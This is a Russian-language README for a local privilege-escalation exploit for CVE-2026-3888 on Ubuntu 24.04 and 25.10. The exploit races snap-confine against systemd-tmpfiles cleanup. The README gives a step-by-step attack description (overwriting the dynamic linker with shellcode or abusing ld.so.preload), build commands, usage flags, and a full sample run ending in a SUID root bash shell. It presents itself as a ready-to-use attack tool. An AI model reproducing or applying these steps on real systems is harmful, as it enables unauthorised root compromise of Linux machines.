
Локальный эксплойт для повышения привилегий для CVE-2026-3888, нацеленный на snap-confine и systemd-tmpfiles в Ubuntu, предоставляющий варианты SUID и capabilities для получения root-доступа.
Локальное повышение привилегий от непривилегированного пользователя до полного root на Ubuntu Desktop 24.04+ путем эксплуатации состояния гонки TOCTOU между snap-confine и systemd-tmpfiles. Предоставлены два варианта: SUID и Capabilities.
CVSS: 7.8 (High) | Advisory: Qualys | Патч: snapd 2.74.2, 17 марта 2026 г.
| Ubuntu 24.04 (SUID) | Ubuntu 25.10 (Capabilities) | |
|---|---|---|
| snap-confine | SUID-root | Capabilities (cap_sys_admin и др.) |
| Целевой snap | firefox | snap-store |
| Имитация цели | /usr/lib/x86_64-linux-gnu (~285 записей) | /var/lib (~17 записей) |
| Вектор эксплуатации | Перезапись ld-linux-x86-64.so.2 шеллкодом | Управление user-fstab + ld.so.preload |
| Формат полезной нагрузки | Статический ELF с сырыми системными вызовами | Разделяемая библиотека с __attribute__((constructor)) |
| Триггер root | SUID snap-confine загружает отравленный динамический компоновщик | SUID su в /tmp/.snap предзагружает .so |
| Требование к cgroup | Любое имя snap.* | Точное совпадение: snap.snap-store.hook.configure |
Очистка .snap | 30 дней | 10 дней |
| Побег из песочницы | /var/snap/firefox/common/bash | /var/snap/snap-store/common/bash |
systemd-tmpfiles удаляет устаревший каталог-имитацию .snap в /tmp (возраст 30 дней)snap-confine через обратное давление AF_UNIX-сокета, чтобы надежно выиграть гонку во время последовательности bind-mount имитацииld-linux-x86-64.so.2 заменяется шеллкодом, который вызывает setreuid(0,0) + execvesnap-confine запускает шеллкод с привилегиями root/var/snap/firefox/common/ для побега из песочницы| Файл | Описание |
|---|---|
exploit_suid.c | Единый бинарный эксплойт — все 7 фаз в одном оркестраторе на основе fork |
librootshell_suid.c | Полезная нагрузка — минимальный ELF, заменяющий ld-linux-x86-64.so.2 через сырые системные вызовы x86_64 |
gcc -O2 -static -o exploit exploit_suid.c
gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell_suid.c
Оба файла должны быть скомпилированы (или кросс-скомпилированы) для x86_64 Linux. exploit статически слинкован, поэтому работает внутри snap-песочницы без зависимостей от библиотек. librootshell.so использует -nostdlib, поскольку содержит только сырые системные вызовы — без libc.
./exploit <librootshell.so> [-d] [-s]
| Флаг | Описание |
|---|---|
-d | Показать отладочный вывод snap-confine (подробный режим) |
-s | Пропустить ожидание очистки .snap (требуется пароль root) |
# Обычный запуск
./exploit ./librootshell.so
# Режим отладки
./exploit ./librootshell.so -d
# Повтор после сбоя
./exploit ./librootshell.so -s
Эксплойт входит в песочницу, ожидает удаления .snap системой systemd-tmpfiles (до 10 дней на стандартной Ubuntu 25.10 и до 30 дней на стандартной Ubuntu 24.04), затем автоматически запускает гонку. При успехе открывает root-шелл.
snap-confine должен быть SUID-root (-rwsr-xr-x 1 root root /usr/lib/snapd/snap-confine)systemd-tmpfiles-clean.timerbusybox доступен на целевой системе (/usr/bin/busybox)user@ubuntu:~$ snap --version
snap 2.63.1+24.04
snapd 2.63.1+24.04
series 16
ubuntu 24.04
kernel 6.17.0-19-generic
user@ubuntu:~$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS"
user@ubuntu:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)
user@ubuntu:~$ ./exploit ./librootshell.so
================================================================
CVE-2026-3888 — snap-confine / systemd-tmpfiles SUID LPE
================================================================
[*] Payload: /home/user/./librootshell.so (9056 bytes)
[Phase 1] Entering Firefox sandbox...
[+] Inner shell PID: 3122
[Phase 2] Waiting for .snap deletion...
[*] Polling (up to 30 days on stock Ubuntu).
[*] Hint: use -s to skip.
[+] .snap deleted.
[Phase 3] Destroying cached mount namespace...
cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_sygTaK//dev: No such file or directory
[+] Namespace destroyed.
[Phase 4] Setting up and running the race...
[*] Working directory: /proc/3122/cwd
[*] Building .snap and .exchange...
[*] 285 entries copied to exchange directory
[*] Starting race...
[*] Monitoring snap-confine (child PID 3543)...
[!] TRIGGER — swapping directories...
[+] SWAP DONE — race won!
[*] ld-linux in namespace: user:user 755
[+] Poisoned namespace PID: 3543
[Phase 5] Injecting payload into poisoned namespace...
[+] ld-linux owned by uid 1000 (attacker). Race confirmed.
[*] Planting busybox...
[*] Writing escape script → /tmp/sh
[*] Overwriting ld-linux-x86-64.so.2...
[+] Payload injected.
[Phase 6] Triggering root via SUID snap-confine...
[*] snap-confine → snap-confine (SUID trigger)
[*] Exit status: 0
[Phase 7] Verifying...
[+] SUID root bash: /var/snap/firefox/common/bash (mode 4755)
[*] Cleaning up background processes...
================================================================
ROOT SHELL: /var/snap/firefox/common/bash -p
================================================================
bash-5.1# id
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)